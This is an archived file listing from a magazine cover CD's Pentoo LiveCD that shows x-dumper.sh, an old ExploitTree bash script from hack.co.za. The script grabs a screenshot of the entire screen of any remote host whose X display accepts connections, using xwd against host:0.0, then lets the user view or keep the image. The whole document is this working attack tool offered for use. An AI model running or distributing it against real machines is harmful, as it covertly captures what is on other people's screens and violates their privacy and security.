home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
xwin
/
x-dumper.sh
< prev
next >
Wrap
Linux/UNIX/POSIX Shell Script
|
2005-02-12
|
2KB
|
86 lines
#!/bin/bash
##
## c0sa_n0stra@yahoo.com (c)
##
if [ -z $1 ]; then
echo
echo "Let's try: $0 <host>"
echo
exit 1
fi
clear
echo
echo "-[;;; X-dumper Facility - Will attempt to dump a screen ;;;]-"
echo "-------------------------------------------------------------"
echo " - c0sa_n0stra (c) 1999/2000 - "
echo
XWD=/usr/X11R6/bin/xwd #You need to have this program!
XWUD=/usr/X11R6/bin/xwud #Use some other "graphic program" if you don't have this.
if [ -x $XWUD ]; then
echo "-[+]- Good, we got xwud..."
else echo "You haven't got xwud, edit $0, and use e.g.. xpaint"
exit 1
fi
if [ -x $XWD ]; then
echo "-[+]- Good, we got xwd..."
else echo "You need to have xwd! Get it!"
exit 1
fi
$XWD -root -display $1:0.0 -out picture.$$ 2>/dev/null
echo
if [ -s picture.$$ ]; then
echo "-[!]- The screen was dumped successfully"
echo
else echo "-[!!]- Sorry, not able to connect"
rm -f picture.$$
exit 1
fi
echo -n "Do you want to take a look at the picture? (y/n): "
read ANSWER
case $ANSWER in
y | Y | yes) $XWUD -in picture.$$ ;;
n | N | no ) ;;
*) echo; echo "--Too low user IQ" ;;
esac
echo
echo -n "Do you want to keep the picture? (y/n): "
read ANSWER
case $ANSWER in
y | Y | yes) echo ; echo "--Ok, let's keep it - look in `pwd`" ;;
n | N | no) rm -f picture.$$ ; echo ; echo "--Uhuu, it is gone..." ;;
*) echo; echo "--Too low user IQ - picture is saved in `pwd`"
esac
echo
echo -n "Do you want to do this again? (y/n): "
read ANSWER
case $ANSWER in
y | Y | yes) $0 $1 ;;
esac
exit 0
# www.hack.co.za [2000]#